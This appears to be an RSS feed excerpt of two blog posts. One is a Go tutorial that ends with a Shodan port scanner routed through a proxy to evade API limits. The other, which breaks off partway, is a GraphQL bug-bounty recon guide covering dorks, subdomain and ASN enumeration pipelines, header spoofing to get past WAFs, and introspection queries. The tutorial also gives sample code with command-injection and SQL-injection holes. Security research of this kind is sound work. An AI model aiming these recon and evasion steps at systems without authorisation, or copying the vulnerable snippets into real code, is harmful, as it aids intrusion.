%v&quot;, err)<br> }<br> defer file.Close()<br><br> // Create a scanner to read the file line by line<br> scanner := bufio.NewScanner(file)<br> for scanner.Scan() {<br>  fmt.Println(scanner.Text()) // Print each line to the console<br> }<br><br> // Check for errors during scanning<br> if err := scanner.Err(); err != nil {<br>  log.Fatalf(&quot;Error reading file: %v&quot;, err)<br> }<br>}</pre><p>In this example, we open the file example.txt and use a bufio.Scanner to read its contents line by line. Each line is printed using fmt.Println(). Finally, we handle any errors encountered during the scanning process.</p><p>Writing to a File:</p><pre>package main<br><br>import (<br> &quot;fmt&quot;<br> &quot;log&quot;<br> &quot;os&quot;<br>)<br><br>func main() {<br> // Create or open a file for writing<br> file, err := os.Create(&quot;output.txt&quot;)<br> if err != nil {<br>  log.Fatalf(&quot;Failed to create file: %v&quot;, err)<br> }<br> defer file.Close()<br><br> // Write a string to the file<br> _, err = file.WriteString(&quot;This is a sample text written to the file.\n&quot;)<br> if err != nil {<br>  log.Fatalf(&quot;Failed to write to file: %v&quot;, err)<br> }<br><br> fmt.Println(&quot;Data written to file successfully!&quot;)<br>}</pre><p>In this example, a new file output.txt is created (or overwritten if it already exists). The WriteString method writes a sample text to the file, and any errors are handled appropriately.</p><h3>Error Handling in Golang</h3><p>Errors in Golang are represented by the error interface, which has a single method, Error(), returning a string describing the error. Functions encountering an error can return it as a value.</p><p>Here’s an example of returning an error from a function:</p><pre>func divide(x, y float64) (float64, error) {<br> if y == 0 {<br>  return 0, fmt.Errorf(&quot;division by zero&quot;)<br> }<br> return x / y, nil<br>}</pre><p>In this example, the divide function checks if y is zero. If true, it returns an error using fmt.Errorf. Otherwise, it performs the division.</p><p>When calling functions that may return errors, we handle them using the if err != nil construct:</p><pre>result, err := divide(10.0, 0.0)<br>if err != nil {<br> log.Fatal(err)<br>}<br>fmt.Println(result)</pre><p>Here, we attempt to divide 10.0 by 0.0. If there’s an error, it’s logged and the program exits. If there’s no error, the result is printed.</p><p>We can also use defer with anonymous functions for cleanup and error handling. For example:</p><pre>file, err := os.Open(&quot;ba.sh&quot;)<br>if err != nil {<br> log.Fatal(err)<br>}<br>defer func() {<br> if err := file.Close(); err != nil {<br>  log.Fatal(err)<br> }<br>}()</pre><p>In this snippet, we open ba.sh for reading and use defer to ensure the file is closed after use. The anonymous function inside defer handles potential errors from file.Close().</p><h3>Best Practices for Golang Programming</h3><h4>Writing Clean and Readable Code</h4><p>Clean code is easy to read, understand, and maintain. Follow consistent formatting, use proper naming conventions, and avoid unnecessary complexity.</p><h4>Poorly Formatted Code:</h4><pre>func add(x,y,z int)int{<br>  result:=x+y+z<br>  return result<br>}</pre><h4>Properly Formatted Code:</h4><pre>func add(x, y, z int) int {<br>    result := x + y + z<br>    return result<br>}</pre><h3>Tips for Clean Code</h3><p><strong>1. Use Consistent Formatting:</strong></p><pre>func main() {<br>    var x int = 5<br>    if x &gt; 0 {<br>        fmt.Println(&quot;x is positive&quot;)<br>    } else {<br>        fmt.Println(&quot;x is non-positive&quot;)<br>    }<br>}</pre><p><strong>2. Follow Naming Conventions:</strong> Use camelCase for variables and PascalCase for functions and struct names.</p><pre>type User struct {<br>    ID        int<br>    FirstName string<br>    LastName  string<br>}<br><br>func NewUser(id int, firstName, lastName string) *User {<br>    return &amp;User{ID: id, FirstName: firstName, LastName: lastName}<br>}</pre><p><strong>3. Avoid Unnecessary Complexity:</strong></p><pre>func addNumbers(nums []int) int {<br>    sum := 0<br>    for _, num := range nums {<br>        sum += num<br>    }<br>    return sum<br>}</pre><h3>Writing Efficient Golang Code</h3><p>Efficient code improves performance and scalability. Here are tips for optimization:</p><ol><li><strong>Use Channels and Goroutines:</strong></li></ol><pre>func slowFunction() {<br>    time.Sleep(5 * time.Second)<br>    fmt.Println(&quot;Slow function finished&quot;)<br>}<br><br>func fastFunction(done chan bool) {<br>    go slowFunction()<br>    done &lt;- true<br>}<br>func main() {<br>    done := make(chan bool)<br>    go fastFunction(done)<br>    &lt;-done<br>}</pre><p><strong>2. Avoid Unnecessary Memory Allocation:</strong> Use slices and pointers efficiently.</p><pre>func sum(nums []int) int {<br>    total := 0<br>    for _, num := range nums {<br>        total += num<br>    }<br>    return total<br>}</pre><p><strong>3. Leverage Built-In Functions:</strong></p><pre>func main() {<br>    nums := []int{1, 2, 3, 4, 5}<br>    fmt.Println(len(nums))<br>}</pre><h3>Secure Golang Coding Practices</h3><p>Security is critical in programming. Here are examples of common vulnerabilities and their fixes.</p><h4>1. Remote Code Execution</h4><p><strong>Vulnerable Code:</strong></p><pre>func executeCommand(cmd string) {<br>    exec.Command(&quot;sh&quot;, &quot;-c&quot;, cmd).Run()<br>}<br><br>func main() {<br>    executeCommand(os.Args[1])<br>}</pre><p><strong>Secure Code:</strong></p><pre>func executeCommand(cmd string, args []string) error {<br>    return exec.Command(cmd, args...).Run()<br>}<br><br>func main() {<br>    cmd := &quot;ls&quot;<br>    args := []string{&quot;-l&quot;}<br>    if err := executeCommand(cmd, args); err != nil {<br>        log.Fatal(err)<br>    }<br>}</pre><ul><li><strong>Fix:</strong> Avoid accepting untrusted input as commands. Validate and sanitize inputs.</li></ul><h4><strong>2. SQL Injection</strong></h4><p><strong>Vulnerable Code:</strong></p><pre>func getUserData(userID string) {<br>    query := &quot;SELECT * FROM users WHERE id = &#39;&quot; + userID + &quot;&#39;&quot;<br>    db.Query(query)<br>}</pre><p><strong>Secure Code:</strong></p><pre>func getUserData(userID string) {<br>    query := &quot;SELECT * FROM users WHERE id = ?&quot;<br>    db.Query(query, userID)<br>}</pre><ul><li><strong>Fix:</strong> Use parameterized queries to prevent injection attacks.</li></ul><h3>Common Mistakes to Avoid</h3><h4>1. Not Initializing Variables</h4><p><strong>Mistake:</strong></p><pre>func main() {<br>    var x int<br>    fmt.Println(x)<br>}</pre><p><strong>Fixed:</strong></p><pre>func main() {<br>    var x int = 0<br>    fmt.Println(x)<br>}</pre><h4>2. Using Global Variables</h4><p><strong>Mistake:</strong></p><pre>var x int = 0<br>func main() {<br>    fmt.Println(x)<br>}</pre><p><strong>Fixed:</strong></p><pre>func main() {<br>    x := 0<br>    fmt.Println(x)<br>}</pre><h4>3. Not Handling Errors</h4><p><strong>Mistake:</strong></p><pre>func main() {<br>    f, err := os.Open(&quot;file.md&quot;)<br>    fmt.Println(f.Name())<br>}</pre><p><strong>Fixed:</strong></p><pre>func main() {<br>    f, err := os.Open(&quot;file.md&quot;)<br>    if err != nil {<br>        log.Fatal(err)<br>    }<br>    defer f.Close()<br>    fmt.Println(f.Name())<br>}</pre><h3>How to Learn Go (Golang) Effectively</h3><p>Mastering Go requires a combination of foundational knowledge, practical implementation, and deep dives into advanced concepts. Here’s a comprehensive roadmap to learning Go:</p><h4>1. Learning the Basics</h4><h4><strong>Videos and Tutorials</strong></h4><p><strong>Free Resources:</strong></p><p><a href="https://www.youtube.com/playlist?list=PLzMcBGfZo4-mAf8Y4sT3pF1FHKTnkP9hx">Tech with Tim — Golang Playlist</a>: A concise, beginner-friendly playlist to start with Go. Great for quick learning sessions.</p><p><strong>Paid Resources:</strong></p><ul><li>Udemy Course by Todd McLeod — “How to Code: Google’s Go”: Ideal for learners who enjoy detailed, story-driven teaching. While longer, this course dives deep into Go’s foundational concepts.</li></ul><h4>Self-Learning Platforms</h4><ul><li><strong>Tour of Go</strong>: An interactive introduction to Go concepts. Recommended for those who prefer a hands-on, self-paced learning experience.</li><li><a href="https://gobyexample.com/"><strong>Go by Example</strong></a>: A practical resource with numerous examples for each Go concept. Use it alongside the “Tour of Go” for deeper insights.</li></ul><h4>Books for In-Depth Learning</h4><ul><li><strong>The Go Programming Language by Alan A. A. Donovan and Brian W. Kernighan</strong>: A classic for learning Go fundamentals and best practices.</li><li><strong>Concurrency in Go by Katherine Cox-Buday</strong>: A must-read for understanding Go’s powerful concurrency model.</li></ul><h3>2. Advanced Concepts</h3><h4>Concurrency</h4><p>Go’s concurrency features, such as goroutines and channels, are among its most powerful tools. Mastering them is key to building scalable systems.</p><p><strong>Channels:</strong></p><ul><li><a href="https://www.youtube.com/watch?v=ZpHCxBL8Dz4">Basic Channels Tutorial (Video)</a>: Explains how to use channels effectively.</li><li>Blog on Handling Go Concurrency: A comprehensive look at implementing concurrency pipelines.</li></ul><p><strong>Wait Groups:</strong></p><ul><li><a href="https://www.youtube.com/watch?v=nA8eT_3rG3k">Wait Groups Basics (Video)</a>: Learn how to coordinate multiple goroutines.</li></ul><p><strong>Mutexes</strong>:</p><ul><li><a href="https://www.youtube.com/watch?v=xeG1UfDRwSg">Mutexes in Go (Video)</a>: An introduction to mutex usage for avoiding race conditions.</li></ul><h4>API Development</h4><p>Popular Go frameworks for API development:</p><p><a href="https://www.gorillatoolkit.org/"><strong>1. Gorilla Mux</strong></a>: A beginner-friendly router and web framework.</p><ul><li><em>Tutorial</em>: Building a REST API with Gorilla Mux.</li></ul><p><a href="https://gofiber.io/"><strong>2. Fiber</strong></a>: High-performance framework inspired by Express.js.</p><ul><li><em>Tutorial</em>: Fiber API Basics.</li></ul><p><a href="https://gin-gonic.com/"><strong>3. Gin</strong></a>: Known for its speed and simplicity.</p><p><em>4. Tutorial</em>: Building a RESTful API with Gin.</p><h3>3. Practical Learning through Projects</h3><h4>Beginner Projects</h4><ul><li>Build a basic <strong>TODO CLI</strong> using <a href="https://github.com/spf13/cobra">Cobra</a>.</li><li>Create a <strong>URL Shortener</strong>.</li><li>Develop a <strong>Simple Web App</strong> with Gorilla or Gin.</li></ul><h4>Intermediate Projects</h4><ul><li>Integrate APIs like the <strong>Reddit API</strong> or <strong>Weather API</strong>.</li><li>Implement <strong>file upload and download</strong> with concurrency.</li><li>Build a <strong>restaurant backend API</strong> with authentication and database integration.</li><li>Add a <strong>queue system</strong> to handle asynchronous tasks.</li></ul><h4>Advanced Projects</h4><ul><li>Upgrade the restaurant API to <strong>microservices</strong> architecture with an API Gateway.</li><li>Implement <strong>two-phase commit protocols</strong> with robust corner-case handling.</li><li>Develop a <strong>distributed task manager</strong> for parallel computation across multiple servers.</li><li>Create the <strong>Bully Algorithm</strong> for leader election in distributed systems, with test coverage.</li></ul><h3>4. Supplementary Resources</h3><h4>Repositories for Learning and Inspiration</h4><ul><li><a href="https://github.com/TannerGabriel/learning-go"><strong>Tanner Gabriel — Learning Go</strong></a>: A curated repository with structured exercises.</li><li><a href="https://github.com/karanpratapsingh/resources"><strong>Karan Pratap Singh — Go Resources</strong></a>: A vast collection of Go-related learning materials.</li></ul><h4>Gophercises Projects</h4><ul><li><a href="https://gophercises.com/">Gophercises</a>: A set of free, practical exercises for Go developers. Perfect for hands-on experience.</li></ul><h3>5. Best Practices for Learning</h3><ol><li><strong>Practice Regularly</strong>: Solve challenges on platforms like <a href="https://www.hackerrank.com/">Hackerrank</a>, <a href="https://exercism.org/">Exercism</a> and <a href="https://leetcode.com/">LeetCode</a> using Go.</li><li><strong>Engage with the Community</strong>: Join forums like <a href="https://www.reddit.com/r/golang/">GoLang Reddit</a> and attend local Go meetups or conferences.</li><li><strong>Build Real-World Applications</strong>: Move beyond tutorials by creating real-world tools and applications.</li><li><strong>Contribute to Open Source</strong>: Explore GitHub and contribute to Go projects to enhance your skills.</li><li><strong>Stay Updated</strong>: Follow Go’s official blog for the latest updates and features.</li></ol><p>By combining structured learning with practical projects, you can effectively master Go and build robust, high-performance applications.</p><h3><strong>A Practical Example: Simple Port Scanner</strong></h3><p>As I promised before, I will walk you through building a <strong>passive port scanner</strong> in Go. This scanner integrates advanced features like <strong>rate limit handling</strong>, <strong>Shodan API queries</strong>, and the use of <strong>AllOrigins</strong> as a proxy to bypass API restrictions efficiently.</p><p>It demonstrates Go’s concurrency and API handling in action:</p><pre>package main<br><br>import (<br> &quot;bufio&quot;<br> &quot;context&quot;<br> &quot;encoding/json&quot;<br> &quot;errors&quot;<br> &quot;flag&quot;<br> &quot;fmt&quot;<br> &quot;io&quot;<br> &quot;log&quot;<br> &quot;net/http&quot;<br> &quot;net/url&quot;<br> &quot;os&quot;<br> &quot;os/signal&quot;<br> &quot;regexp&quot;<br> &quot;strings&quot;<br> &quot;sync&quot;<br> &quot;syscall&quot;<br> &quot;time&quot;<br>)<br><br>type ShodanResponse struct {<br> Ports     []int    `json:&quot;ports&quot;`<br> ASN       string   `json:&quot;asn&quot;`<br> Hostnames []string `json:&quot;hostnames&quot;`<br>}<br><br>const (<br> shodanRateLimit = time.Second // 1 request per second<br>)<br><br>// Fetch IPs using Shodan facets with AllOrigins proxy<br>func fetchIPsUsingFacets(query string) ([]string, error) {<br> proxyURL := fmt.Sprintf(&quot;https://api.allorigins.win/get?url=%s&quot;, url.QueryEscape(fmt.Sprintf(&quot;https://www.shodan.io/search/facet?query=%s&amp;facet=ip&quot;, query)))<br> resp, err := http.Get(proxyURL)<br> if err != nil {<br>  return nil, fmt.Errorf(&quot;failed to fetch data from Shodan facets via AllOrigins: %w&quot;, err)<br> }<br> defer resp.Body.Close()<br><br> if resp.StatusCode != http.StatusOK {<br>  body, _ := io.ReadAll(resp.Body)<br>  return nil, fmt.Errorf(&quot;AllOrigins proxy API error (%d): %s&quot;, resp.StatusCode, string(body))<br> }<br><br> var proxyResponse struct {<br>  Contents string `json:&quot;contents&quot;`<br> }<br> if err := json.NewDecoder(resp.Body).Decode(&amp;proxyResponse); err != nil {<br>  return nil, fmt.Errorf(&quot;failed to parse AllOrigins proxy response: %w&quot;, err)<br> }<br><br> re := regexp.MustCompile(`&lt;strong&gt;([^&lt;]+)&lt;/strong&gt;`)<br> matches := re.FindAllStringSubmatch(proxyResponse.Contents, -1)<br><br> ipRe := regexp.MustCompile(`\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b`)<br> var ips []string<br> for _, match := range matches {<br>  if len(match) &gt; 1 &amp;&amp; ipRe.MatchString(match[1]) {<br>   ips = append(ips, match[1])<br>  }<br> }<br><br> return removeDuplicates(ips), nil<br>}<br><br>// Remove duplicate IPs<br>func removeDuplicates(ips []string) []string {<br> uniqueIPs := make(map[string]struct{})<br> for _, ip := range ips {<br>  uniqueIPs[ip] = struct{}{}<br> }<br><br> var dedupedIPs []string<br> for ip := range uniqueIPs {<br>  dedupedIPs = append(dedupedIPs, ip)<br> }<br> return dedupedIPs<br>}<br><br>// Fetch Shodan data for an IP<br>func fetchShodanData(ipAddress, apiKey string) (*ShodanResponse, error) {<br> url := fmt.Sprintf(&quot;https://api.shodan.io/shodan/host/%s?key=%s&quot;, ipAddress, apiKey)<br> resp, err := http.Get(url)<br> if err != nil {<br>  return nil, fmt.Errorf(&quot;failed to fetch data from Shodan: %w&quot;, err)<br> }<br> defer resp.Body.Close()<br><br> if resp.StatusCode == http.StatusTooManyRequests {<br>  retryAfter := resp.Header.Get(&quot;Retry-After&quot;)<br>  delay, err := time.ParseDuration(retryAfter + &quot;s&quot;)<br>  if err == nil {<br>   time.Sleep(delay)<br>   return fetchShodanData(ipAddress, apiKey)<br>  }<br>  return nil, errors.New(&quot;rate limit reached, retry later&quot;)<br> }<br><br> if resp.StatusCode != http.StatusOK {<br>  body, _ := io.ReadAll(resp.Body)<br>  return nil, fmt.Errorf(&quot;Shodan API error (%d): %s&quot;, resp.StatusCode, string(body))<br> }<br><br> var shodanResponse ShodanResponse<br> if err := json.NewDecoder(resp.Body).Decode(&amp;shodanResponse); err != nil {<br>  return nil, fmt.Errorf(&quot;failed to parse Shodan response: %w&quot;, err)<br> }<br><br> return &amp;shodanResponse, nil<br>}<br><br>// Helper function to build Shodan queries<br>func buildShodanQuery(domain, query, additionalQueries string, sslFlag bool) string {<br> domainQuery := fmt.Sprintf(&quot;hostname:%s&quot;, url.QueryEscape(domain))<br> if sslFlag {<br>  domainQuery = fmt.Sprintf(&quot;ssl.cert.subject.cn:\&quot;%s\&quot;&quot;, domain)<br> }<br> if query != &quot;&quot; {<br>  domainQuery = fmt.Sprintf(&quot;%s+%s&quot;, domainQuery, url.QueryEscape(query))<br> }<br> if additionalQueries != &quot;&quot; {<br>  domainQuery = fmt.Sprintf(&quot;%s+%s&quot;, domainQuery, additionalQueries)<br> }<br> return domainQuery<br>}<br><br>func main() {<br> var sslFlag bool<br> flag.BoolVar(&amp;sslFlag, &quot;ssl&quot;, false, &quot;Use SSL certificate search&quot;)<br> flag.Usage = func() {<br>  fmt.Println(&quot;Usage: cat input | ./portscanner [options] &lt;Shodan_API_Key&gt;&quot;)<br>  flag.PrintDefaults()<br> }<br> flag.Parse()<br><br> // Check for API key in environment variables<br> apiKey := os.Getenv(&quot;SHODAN_API_KEY&quot;)<br> if apiKey == &quot;&quot; &amp;&amp; flag.NArg() &gt; 0 {<br>  apiKey = flag.Arg(0)<br> }<br><br> if apiKey == &quot;&quot; {<br>  fmt.Println(&quot;Error: Shodan API key not provided.&quot;)<br>  fmt.Println(&quot;Set it using the SHODAN_API_KEY environment variable or pass it as a command-line argument.&quot;)<br>  flag.Usage()<br>  os.Exit(1)<br> }<br><br> ctx, cancel := context.WithCancel(context.Background())<br> signalChan := make(chan os.Signal, 1)<br> signal.Notify(signalChan, os.Interrupt, syscall.SIGTERM)<br> go func() {<br>  &lt;-signalChan<br>  fmt.Println(&quot;\nGracefully shutting down...&quot;)<br>  cancel()<br>  os.Exit(0)<br> }()<br><br> scanner := bufio.NewScanner(os.Stdin)<br> var wg sync.WaitGroup<br> throttle := time.Tick(shodanRateLimit)<br><br> for scanner.Scan() {<br>  select {<br>  case &lt;-ctx.Done():<br>   return<br>  default:<br>  }<br><br>  input := strings.TrimSpace(scanner.Text())<br>  if input == &quot;&quot; {<br>   continue<br>  }<br><br>  wg.Add(1)<br>  go func(domain string) {<br>   defer wg.Done()<br><br>   query := buildShodanQuery(domain, &quot;&quot;, &quot;&quot;, sslFlag)<br><br>   ips, err := fetchIPsUsingFacets(query)<br>   if err != nil {<br>    log.Printf(&quot;Error fetching IPs for %s: %v\n&quot;, domain, err)<br>    return<br>   }<br><br>   for _, ip := range ips {<br>    &lt;-throttle<br><br>    data, err := fetchShodanData(ip, apiKey)<br>    if err != nil {<br>     log.Printf(&quot;Error processing %s: %v\n&quot;, ip, err)<br>     continue<br>    }<br><br>    fmt.Printf(&quot;IP: %s\n&quot;, ip)<br>    fmt.Printf(&quot;Open Ports: %v\n&quot;, data.Ports)<br>    if len(data.Hostnames) &gt; 0 {<br>     fmt.Printf(&quot;Hostnames: %s\n&quot;, strings.Join(data.Hostnames, &quot;, &quot;))<br>    }<br>    if data.ASN != &quot;&quot; {<br>     fmt.Printf(&quot;ASN: %s\n&quot;, data.ASN)<br>    }<br>    fmt.Println()<br>   }<br>  }(input)<br> }<br><br> wg.Wait()<br><br> if err := scanner.Err(); err != nil {<br>  log.Printf(&quot;Error reading input: %v\n&quot;, err)<br> }<br>}</pre><p>This tool takes input domains via stdin, queries Shodan using its API, and retrieves open ports, subdomains and related metadata. It also uses the AllOrigins proxy to bypass certain restrictions, showcasing how external APIs and proxies can enhance tools.</p><h4>Usage Example:</h4><p>You can use the scanner as follows:</p><p>echo input | scanner $SHODAN_API_KEY</p><p><strong>Example output:</strong></p><pre>IP: 13.37.31.13<br>Open Ports: [80 443 1337]<br>Hostnames: 13.37.31.13.bc.googleusercontent.com, wg.example.com<br>ASN: AS12345<br><br>IP: 37.31.13.37<br>Open Ports: [443 22]<br>Hostnames: canary-certificate-for-noop.example.com<br>ASN: AS1234<br><br>IP: 10.10.10.10<br>Open Ports: [21 80 443]<br>Hostnames: download.example.com, upgrade.example.com<br>ASN: AS54321</pre><p><strong>Key Topics Covered:</strong></p><ul><li><strong>Port Scanning</strong>: Discovering open ports for reconnaissance.</li><li><strong>Shodan</strong>: Integrating Shodan’s API to fetch data like open ports and hostnames.</li><li><strong>AllOrigins</strong>: Use AllOrigins to bypass direct API restrictions, ensuring high-efficiency scans without blocking.</li></ul><h4>Why This Port Scanner is Powerful</h4><ul><li><strong>Passive Scanning</strong>: Since this scanner is passive, you can scan over 1,000 hosts in just minutes, making it highly efficient for large-scale reconnaissance.</li><li><strong>Flexible Expansion</strong>: You can integrate tools like Nmap CLI into this scanner for active scanning, enabling detailed analysis of thousands of hosts quickly and effectively.</li></ul><h4>More Ideas for This Project</h4><ul><li><strong>Automation Pipelines</strong>: Integrate this scanner into automation pipelines for continuous reconnaissance and monitoring.</li><li><strong>Combine Passive and Active Scanning: </strong>Implement a hybrid mode where the tool first queries Shodan (passive) and then confirms results or scans for additional ports using active techniques.</li><li><strong>Service Detection: U</strong>se libraries like github.com/Ullaakut/nmap to parse service information.</li><li><strong>Threat Intelligence</strong>: Combine this scanner with threat intelligence platforms to enrich the data collected, helping identify vulnerable or high-risk targets.</li><li><strong>Output Format</strong>: Use structured output formats (e.g., JSON or CSV) for easier integration with other tools.</li><li><strong>Custom Filters</strong>: Add filters to prioritize results, such as only displaying ports related to specific services or protocols.</li><li><strong>Dashboard Integration</strong>: Visualize results using a web dashboard or export them to SIEM tools for better analysis.</li><li><strong>Cloud Adaptation</strong>: Deploy this tool in the cloud to scale it across multiple instances, increasing efficiency for massive scans.</li><li><strong>AI-Driven Analysis</strong>: Leverage machine learning models to analyze port scan results and highlight unusual patterns or potential anomalies.</li><li><strong>Error Handling Enhancements</strong>: Provide more detailed error messages or write errors to a log file for post-run analysis.</li></ul><p>This is just the beginning. The world of Go offers endless possibilities for creating efficient and scalable tools.</p><p>Dive deeper, experiment more, and let your creativity flow!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5cc013d3f5c6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[GraphQL Hacking 101: Finding and Exploiting APIs for Fun and Profit]]></title>
            <link>https://medium.com/@v1xtron/graphql-hacking-101-finding-and-exploiting-apis-for-fun-and-profit-af34b5ea15f3?source=rss-7d791a7327df------2</link>
            <guid isPermaLink="false">https://medium.com/p/af34b5ea15f3</guid>
            <category><![CDATA[graphql]]></category>
            <category><![CDATA[reconnaissance]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[v1xtron]]></dc:creator>
            <pubDate>Mon, 14 Oct 2024 12:12:09 GMT</pubDate>
            <atom:updated>2024-10-22T15:50:32.628Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>GraphQL is like the shiny new tool in the developer’s kit — flexible, efficient, and a bit mysterious. It allows you to ask for just the data you need (think of it like an <em>à la carte</em> menu where you get exactly what you want, no more, no less). But just like any shiny tool, GraphQL can have a sharp edge if not handled properly, especially when security measures are overlooked.</p><p>In this post, we’ll take a sneak peek into finding GraphQL endpoints, uncovering interesting security vulnerabilities, and some neat tricks to defend against common attack vectors.</p><h3><strong>How to Identify GraphQL Endpoints Using Google Dorks</strong></h3><p>Ever feel like a detective sniffing out clues on the internet? Well, Google dorking is your magnifying glass. By carefully crafting some search queries, you can find exposed GraphQL endpoints that are just waiting to spill their secrets.</p><p>Introducing the <a href="https://vulnpire.github.io/bounty-search-engine/"><strong>Bounty Search Engine</strong></a>— a custom-built tool to automate Google dorking specifically for bug bounty and security research.</p><p><strong>What sets it apart?</strong></p><ul><li><strong>Bypassing Google’s anti-bot protection</strong>: No more worrying about CAPTCHAs and rate limiting.</li><li><strong>Enhanced anonymity</strong>: The tool operates stealthily, leaving no trace and protecting your identity during recon.</li><li><strong>Prebuilt dork queries</strong>: Just type in your target, and it’ll do the rest.</li></ul><p>Here are a few dorks to get you started:</p><p><strong>Look for GraphQL Playground</strong> (because devs love to leave the door open 😈)</p><blockquote>inurl:&quot;/graphql&quot; intitle:&quot;GraphQL Playground&quot;</blockquote><p><strong>Find GraphiQL IDEs on the web</strong></p><blockquote>inurl:&quot;/graphql&quot; intitle:&quot;GraphiQL&quot;</blockquote><p><strong>GraphQL schemas hiding in plain sight</strong></p><blockquote>&quot;graphql&quot; filetype:json OR filetype:html</blockquote><h3><strong>How to Identify GraphQL Endpoints Using Shodan Dorks</strong></h3><p><strong>Search for GraphQL Playground:</strong></p><blockquote>http.title:&quot;GraphQL Playground&quot;</blockquote><p><strong>Look for </strong><strong>/graphql endpoints:</strong></p><blockquote>http.html:&quot;/graphql&quot;</blockquote><p>With these dorks, you can stumble upon all sorts of GraphQL endpoints that developers didn’t intend for the world to see. It’s like finding a hidden stash of candy.</p><h3>Enumerating Subdomains &amp; Finding GraphQL Endpoints</h3><h4>Step 1: Enumerating Subdomains</h4><p>The first task is to enumerate all the subdomains of a target domain. Subdomain enumeration expands your attack surface by revealing additional entry points where GraphQL might be running.</p><p>Tools like <strong>Subfinder</strong>, <strong>BBOT</strong>, and <strong>Amass</strong> are perfect for discovering subdomains, and we’ll combine this with <strong>dnsx</strong> and <strong>httpx</strong> to probe for live servers.</p><h4>Step 2: Probing Subdomains for GraphQL Endpoints</h4><p>Once you have a list of subdomains, the next step is to scan them for live web services. By focusing on the most common ports where GraphQL APIs might be running (e.g., 80, 443, 8080, 3000, 4000, and 5000), you can efficiently narrow down potential targets.</p><p>Here’s a practical command to automate this process:</p><pre>cat wildcards.txt | subfinder -all -silent | dnsx -threads 300 -r path/to/resolver -silent | httpx -threads 300 -mc 200 -random-agent -nc -ports &lt;ports&gt; | anew subdomains.txt</pre><h4>Explanation:</h4><ul><li><strong>wildcards.txt</strong>: This file contains the target&#39;s domain or known wildcard subdomains.</li><li><strong>subfinder -all -silent</strong>: Subfinder fetches subdomains from a variety of sources. The -all flag ensures you get every possible result by using all sources for enumeration, while -silent suppresses verbose output.</li><li><strong>dnsx -threads 300 -r </strong><a href="https://raw.githubusercontent.com/trickest/resolvers/main/resolvers.txt"><strong>path/to/resolver</strong></a><strong> </strong>: This checks if the subdomains are valid by performing DNS resolution. Increasing threads with -threads 300 speeds up the process.</li><li><strong>httpx -threads 300 -mc 200 -random-agent -nc -ports 80,443,8080,3000,4000,5000</strong>: This command checks if the subdomains are hosting web services by probing specific ports. It looks for a 200 response code (-mc 200), and the -random-agent flag sends random user agents to avoid detection.</li><li><strong>anew subdomains.txt</strong>: The anew tool ensures only unique subdomains are added to subdomains.txt, avoiding duplicates.</li></ul><h4><strong>Extra Step 3: Enumerating ASNs to find even more assets</strong></h4><p>Once you have a list of wildcards or domains, the next logical step is to enumerate Autonomous System Numbers (ASNs) to expand your attack surface. ASNs are blocks of IP addresses owned by organizations, and targeting them can uncover additional assets that might not be directly linked to the domain.</p><p>You can use the combination of <a href="https://github.com/Vulnpire/dtoconv">dtoconv</a> and <a href="https://github.com/Vulnpire/getasn">getasn</a> to convert the domains into organizations, fetch the corresponding ASNs, and then map the IP ranges and services exposed by those ASNs.</p><pre>cat wildcards.txt | dtoconv | getasn | asnmap -silent | tlsx -san -cn -silent -resp-only</pre><p>In this pipeline:</p><ul><li>wildcards.txt contains domains or wildcard subdomains.</li><li>dtoconv converts the domains to their corresponding organizations.</li><li>getasn fetches the ASNs for those organizations.</li><li><a href="https://github.com/projectdiscovery/asnmap">asnmap</a> maps the IP ranges associated with those ASNs.</li><li><a href="https://github.com/projectdiscovery/tlsx">tlsx</a> probes the IPs for SSL certificates and subdomains, giving you more assets to investigate.</li></ul><p>By chaining these tools, you can enumerate subdomains, identify IP ranges, and uncover additional services exposed by the organization, expanding your reconnaissance significantly.</p><h4>Step 4: Probing for GraphQL Endpoints using Nuclei</h4><p>After gathering all those attractive subdomains, the next step is to probe them for exposed GraphQL endpoints. GraphQL endpoints can be a treasure trove of sensitive information if not secured properly, and using tools like Nuclei can help automate this discovery.</p><p>Nuclei allows you to scan for GraphQL endpoints using prebuilt detection templates. In this case, you can use the <a href="https://github.com/projectdiscovery/nuclei-templates/blob/main/http/technologies/graphql-detect.yaml">graphql-detect</a> template to identify any GraphQL services running on your subdomains.</p><p><strong>Example:</strong></p><pre>cat subdomains.txt | nuclei -nh -id graphql-detect -H &quot;User-Agent: Mozilla/5.0 (Android 10; Mobile; rv:128.0) Gecko/128.0 Firefox/128.0&quot; -H &quot;X-Forwarded-For: 127.0.0.1&quot; -H &quot;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&quot; -silent | anew nuclei.txt</pre><ul><li>subdomains.txt contains the subdomains you&#39;re targeting.</li><li>nuclei with the graphql-detect template scans for GraphQL endpoints.</li><li>The -H flags set custom headers to mimic a legitimate browser request, which can help bypass certain filters or WAF rules.</li><li>anew stores unique results in nuclei.txt, so you don’t get duplicates.</li></ul><p>This step helps you quickly identify exposed GraphQL endpoints, which you can then probe further for vulnerabilities like insecure introspection or sensitive data leaks.</p><h4>Step 5: Testing the GraphQL Endpoint for Basic Queries</h4><p>If Nuclei detects any GraphQL endpoints, you’ll get output like this:</p><pre>https://api.example.com/graphql</pre><p>Now that you’ve found a GraphQL endpoint, let’s start with a basic query to confirm that it’s active. You can do this using either GET or POST requests.</p><ul><li><strong>GET Request Example</strong>:</li></ul><p>Send the query as a parameter in the URL:</p><pre>https://api.example.com/graphql?query=query{__typename}</pre><ul><li><strong>POST Request Example</strong>:</li></ul><p>Send the query in the body of the POST request:</p><pre>curl -X POST https://api.example.com/graphql -d &#39;query=query{__typename}&#39;</pre><p>If the endpoint is active, you’ll get a response like:</p><pre>{<br>  &quot;data&quot;: {<br>    &quot;__typename&quot;: &quot;Query&quot;<br>  }<br>}</pre><p>This confirms the endpoint is live and ready for more fun.</p><h4>Step 6: Exploiting Introspection to Enumerate the Schema</h4><p>Now comes the exciting part — <strong>schema introspection</strong>. If introspection is enabled, you can request a dump of the entire schema. This is like asking the API to give you its entire blueprint, including all the types, queries, and mutations it supports.</p><p>Here’s the introspection 